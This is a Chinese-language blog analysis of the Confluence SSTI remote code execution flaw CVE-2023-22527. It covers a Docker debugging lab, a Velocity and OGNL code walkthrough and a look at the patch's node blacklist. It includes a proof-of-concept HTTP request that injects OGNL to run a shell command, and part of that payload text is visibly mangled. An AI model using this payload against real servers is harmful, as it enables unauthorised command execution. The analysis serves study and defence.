Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…

2024-03-07 997 0

环境搭建

使用vulhub的docker环境,git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git),到漏洞目录看一下docker-compose文件,编辑docker-compose文件并新增开放远程调试端口5005。

version: '2'
services:
  web:
    image: vulhub/confluence:8.5.3
    ports:
      - "8090:8090"
      - "5005:5005"  ###新增开发端口
    depends_on:
      - db
  db:
    image: postgres:15.4-alpine
    environment:
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

使用命令启动docker环境docker compose start,然后在docker环境中导出远程调试使用的依赖库。

docker cp 03f51dd5e1a5:/opt/atlassian/confluence /mnt/e/confluence/confluence7 ##依赖库
docker cp 03f51dd5e1a5:/opt/java/openjdk /mnt/e/confluence/openjdk ##JDK环境

将导出的依赖库和JDK环境使用IDEA导入到新的项目中。
编写confluence启动脚本增加远程调试,这里使用的是setenv.sh脚本,在export CATALINA_OPTS前面增加CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}"

由于docker环境中没有编辑工具,这里我在外面编辑,使用命令将文件拷贝出来,编辑完成后将文件拷贝到docker容器中。

docker cp 03f51dd5e1a5:/opt/atlassian/confluence/bin/setenv.sh .
nano setenv.sh
docker cp setenv.sh db5e15881ec9:/opt/atlassian/confluence/bin/setenv.sh

最重要的一点,编辑完成后必须要重启docker才能生效,记住这里是重启不是start。重启命令docker compose restart
接下来配置IDEA中的JVM远程调试。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图
配置IP和端口后,这里使用IDEA直接开启调试,看到下面的字样就是调试端口远程连接成功了。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图1

漏洞复现

漏洞POC如下:

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图2

漏洞分析

Velocity模板

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。

基本语法

语句标识符

用来标识Velocity的脚本语句,
包括 #set 、 #if 、 #else 、 #end 、 #foreach 、 #end 、 #include 、 #parse 、 #macro 等语句。

变量
$ 用来标识一个变量,比如模板文件中为 Hello $a ,可以获取通过上下文传递的 $a
声明
set 用于声明Velocity脚本变量,变量可以在脚本中声明
{} 标识符
"{}"用来明确标识Velocity变量;

Velocity模板渲染流程

这里以template.vm渲染为例。

<html>
<body>
Hello $foo world!
</body>
</html>

Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图3

  1. 引擎初始化,通过设置的引擎属性初始化引擎,包括国际化支持,ResourceLoader设置,字符编码等。
  2. 获取并解析模板文件,首先通过ResourceLoader将tempalte加载为InputStream,然后通过Parser生成如下Token集合:{[ Hello], [$foo], [world! ]},然后通过AST(Abstract Syntax Tree)解析器将InputStream解析为一个AST。最终解析的节点有三个
    1. [ Hello]对应的ASTText节点;
    2. [$foo]对应的ASTReference节点;
    3. [world! ]对应的ASTText节点
  3. 创建一个Context
  4. 将模板渲染所需的参数放入context
  5. 执行模板渲染,产生输出流。渲染过程中通过遍历该模板对应的AST,调用相应节点的处理器执行渲染。模板遍历其对应的AST树,执行每个节点的渲染过程。如ASTText节点只是简单的将文本写入writer。ASTReference节点需要从context中获取引用的参数foo的值VV,将$foo替换,并写入到writer中。Velocity的AST中有多种节点,如ASTIdentitor等,有些需要反射机制处理。当整个AST遍历结束,也就意味着模板渲染结束。

结合上面的Velocity模板解析流程我们来看Confluence中text-inline.vm解析,text-inline.vm文件内容如下:

#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label   for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")

Confluence中对于vm的请求会用com.atlassian.confluence.servlet.ConfluenceVelocityServlet#doRequest方法处理。

protected void doRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            Context context = this.createContext(request, response);
            this.setContentType(request, response);
            Template template = this.handleRequest(request, response, context);  //Velocity模板初始化,加载text-inline.vm模板文件并解析出Token.
            if (template == null) {
                return;
            }
            this.mergeTemplate(template, context, response); //模板渲染
        } catch (Exception var5) {
            this.error(request, response, var5);
        }

    }

可以看到在上述代码中第5行完成对Velocity模板引擎初始化以及模板中解析出Token,text-inline.vm中的第一行解析成[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)等。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图4

Velocity模板AST节点解析

从上面看到VM模板文件被解析成不同的Token,每个Token都用对应AST节点解析,这里我们可以简单写一个测试程序来观察每个token对应节点解析,通过下面代码将解析出AST节点输出。

import org.apache.velocity.runtime.parser.CharStream;
import org.apache.velocity.runtime.parser.Parser;
import org.apache.velocity.runtime.parser.VelocityCharStream;
import org.apache.velocity.runtime.parser.node.SimpleNode;

import java.io.ByteArrayInputStream;

public class Main {
    public static void main(String[] args) {

        String temp = "#set( $labelValue = $stack.findValue(\"getText('$parameters.label')\") )";
        CharStream stream = new VelocityCharStream(new ByteArrayInputStream(temp.getBytes()), 0, 0);
        Parser t = new Parser(stream);
        try {
            SimpleNode n = t.process();
            n.dump("");
        } catch (Exception e) {
            e.printStackTrace();
        }
}}

输出AST结果如下:

*.node.ASTprocess@6646153[id=0,info=0,invalid=false,children=1,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)], [)]]
 *.node.ASTSetDirective@5ad851c9[id=23,info=0,invalid=false,children=2,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)]]
  *.node.ASTReference@6156496[id=16,info=0,invalid=false,children=0,tokens=[$labelValue]]
  *.node.ASTExpression@3c153a1[id=25,info=0,invalid=false,children=1,tokens=[ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ]]
   *.node.ASTReference@b62fe6d[id=16,info=0,invalid=false,children=1,tokens=[$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)]]
    *.node.ASTMethod@13acb0d1[id=15,info=0,invalid=false,children=2,tokens=[findValue], [(], ["getText('$parameters.label')"], [)]]
     *.node.ASTIdentifier@3e3047e6[id=8,info=0,invalid=false,children=0,tokens=[findValue]]
     *.node.ASTStringLiteral@37e547da[id=7,info=0,invalid=false,children=0,tokens=["getText('$parameters.label')"]]

可以看到#set(节点是使用ASTSetDirective解析,这里重点看一下最后一个节点使用ASTStringLiteral节点解析的,如果这里vm文件换成另外一个#set( $labelValue = $stack.findValue($parameters.label)),我们来看一下输出的不同。

*.node.ASTprocess@3d299e3[id=0,info=0,invalid=false,children=1,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ], [)], [)]]
 *.node.ASTSetDirective@f2f2cc1[id=23,info=0,invalid=false,children=2,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ], [)]]
  *.node.ASTReference@3a079870[id=16,info=0,invalid=false,children=0,tokens=[$labelValue]]
  *.node.ASTExpression@3b2cf7ab[id=25,info=0,invalid=false,children=1,tokens=[ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ]]
   *.node.ASTReference@2aa5fe93[id=16,info=0,invalid=false,children=1,tokens=[$stack], [.], [findValue], [(], [$parameters], [.], [label], [)]]
    *.node.ASTMethod@5c1a8622[id=15,info=0,invalid=false,children=2,tokens=[findValue], [(], [$parameters], [.], [label], [)]]
     *.node.ASTIdentifier@5ad851c9[id=8,info=0,invalid=false,children=0,tokens=[findValue]]
     *.node.ASTReference@6156496[id=16,info=0,invalid=false,children=1,tokens=[$parameters], [.], [label]]
      *.node.ASTIdentifier@3c153a1[id=8,info=0,invalid=false,children=0,tokens=[label]]

可以看到这里是直接走节点的解析,最后一个节点是ASTIdentifier,没有ASTStringLiteral节点的解析,注意细节的小伙伴可以看到两个vm的区别就是findValue函数中有无引号的区别。

模板渲染

com.atlassian.confluence.servlet.ConfluenceVelocityServlet#mergeTemplate函数会调用org.apache.velocity.Template#merge函数,重点看一下121行( (SimpleNode) data ).render( ica, writer);,通过调用AST的跟节点(ASTprocess)的render方法。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图5SimpleNode#render函数会遍历处理各个子节点的render。

public boolean render(InternalContextAdapter context, Writer writer) throws IOException, MethodInvocationException, ParseErrorException, ResourceNotFoundException {
    int k = this.jjtGetNumChildren();

    for(int i = 0; i < k; ++i) {
        this.jjtGetChild(i).render(context, writer);  //根据token分配不同AST节点解析并渲染
    }

    return true;
}

如果是ASTSetDirective类型的节点就会调用ASTSetDirective#render函数,如果是ASTStringLiteral类型的节点就会调用ASTStringLiteral#render函数。并通过writer进行模板的渲染,当前节点解析完成会返回true。例如text-inline.vm文件中的第一个解析#set,就会调用org.apache.velocity.runtime.parser.node.ASTSetDirective#render函数。如果文本例如html则就是ASTText节点处理,下面的函数是ASTText节点的render函数,只是简单的将文本写入writer,完成当前节点的执行。

public boolean render(InternalContextAdapter context, Writer writer) throws IOException {
        if (context.getAllowRendering()) {
            writer.write(this.ctext);
        }

        return true;
    }

模板注入

我们输入测试的payload,简单跟踪一下处理流程。SimpleNode处理以前的流程不在重复说明,这里重点来看SimpleNode处理以后的节点,首先看一下调用的函数。

value:290, ASTStringLiteral (org.apache.velocity.runtime.parser.node)
execute:155, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:262, ASTReference (org.apache.velocity.runtime.parser.node)
value:507, ASTReference (org.apache.velocity.runtime.parser.node)
value:71, ASTExpression (org.apache.velocity.runtime.parser.node)
render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)

在ASTSetDirective#render函数中,通过该函数的第一行获取右边的值,可以看到这里获取到的是$stack.findValue("getText('$parameters.label')"),也就是=右边的值,对应左边的值就是$labelValue
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图6因为右边的值是$stack开始的,所以这里就会调用ASTReference#value。可以看到ASTRefernce#value方法会调用ASTRefernce#execute方法。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图7在ASTRefernce#execute方法中首先对$stack通过this.getVariableValue(context, this.rootString);做了进一步的解析,解析就不做详细的说明了,感兴趣的同学可以下个断点调试看一下。这里可以看到解析出来的就是ognl.OgnlValueStack类。然后会循环解析调用子节点的execute方法。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图8在ASTMethod#execute方法中,会解析当前的函数名称以及循环获取函数参数,在获取函数参数的过程中会调用子节点的value方法,这里的函数名称就是findvule,参数则是"getText('$parameters.label')",可以看到参数是字符串的类型,所以这里的子节点就是ASTStringLiteral.最后通过Object obj = method.invoke(o, params);将获取到的对应的方法反射解析。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图9在ASTStringLiteral#value方法中,首先通过this.interpolate,判断当前值中是否存在$(变量),如果不存在变量就直接返回字符串,如果存在则会通过nodeTree.render(context, writer)调用SimpleNode根节点进一步解析。如果这里的变量可控,我们可以输入恶意字符,在模板二次解析的解析恶意字符,这就是诱发模板注入的原因所在。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图10继续进一步跟踪,这里将会反射调用ognl.OgnlValueStack.findvaule方法。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图11简答看一下下面调用过程,最终调用OgnlUtil.execute,完成了Ognl表达书的注入。

execute:523, OgnlUtil$2 (com.opensymphony.xwork2.ognl)
compileAndExecute:562, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:521, OgnlUtil (com.opensymphony.xwork2.ognl)
getValueUsingOgnl:297, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:280, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:262, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:242, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:304, OgnlValueStack (com.opensymphony.xwork2.ognl)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection)
execute:270, ASTMethod (org.apache.velocity.runtime.parser.node)

重点看一下ognl#compileAndExecute方法,在415行中Ognl.parseExpression(expression)完成了对Ognl表达式的解析,解析之后也将unicode 编码还原。为什么payload要输入\u0027,将其拼接到原来的getText(' 中,这里我们输入是\u0027 xxxx\u0027,将SQL注入一样这里刚好将getText函数中的字符串闭合,闭合之后插入自己payload,如果输入单引号将会被html实体编码。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图12最终可以看到表达式成功执行。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图13构造RCEpayload具体可见:https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context文章。

疑点解惑

通过上文了解主要是通过OgnlValueStack.findValue可以完成Ognl表达式注入,我们可以在文件中搜索$stack.findValue或者$ognl.findValue来找一找其他入口点,这里找到一个pagelist.vm文件,可以看到第一行与text-inline.vm明显的区别就是findVaule()方法中没有引号。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图14如果这里findvaule()是String类型才会解析到com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(java.lang.String),
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图15如果我们使用pagelist文件,这里请求之后在ASTMethod#execute获取findvalue方法的请求参数params是个ParamsRequest对象。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图16com.opensymphony.xwork2.ognl.OgnlValueStack没有参数ParamsRequest对象的findvalue方法是所以这里返回的是空。这就是pagelist.vm为什么不能作为入口的原因。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图17

补丁分析

官方的修复比较有意思的是直接增加Ognl表达式的节点黑名单,但是最新的8.5.6中已经将入口文件text-inline.vm删除。相比与上个版本增加了excludedNodeTypes节点黑名单,如果表达式存在下面的节点,就会中断表达式的执行。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图18在OgnlUtil.toTree方法中,首先会在缓存的属性中查找值,这块调试也花了一点时间,所以每次可以发送一个不同的payload,然后就会进入第569行,this.ognlGuard.parseExpression(expr),这里可以看到如果解析的节点是_ognl_guard_blocked节点就会抛出异常,中断Ognl表达式的执行。Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图19通过ognlGuard解析Ognl表达式,最后将解析后的数据写入到缓存数据中。如果解析的节点是黑名单就会返回_ognl_guard_blocked,如果没有节点黑名单就会返回正常的节点树。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图20在StrutsOgnlGuard#containsExcludedNodeType函数会追个解析表达式的节点,并判断当前的节点是否在补丁中的节点中,可以看到这获取到表达式的节点是ASTAdd,黑名单中也存在该节点,这里将会返回True.
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图21isParsedTreeBlocked 函数也会返回true。
Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分…插图22

总结

这个漏洞是SSTI注入的一种形式,其他的类型SSTI注入都是直接插入模板文件行,官方的修复也是比较有意思,这里可以看到直接OGNL表达式解析的时候增加了黑名单。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞
万字长文浅谈三高系统建设方法论和实践
你遇到过哪些奇葩面试题目;如何考察渗透测试与安全管理能力| FB甲方群话题讨论

发布评论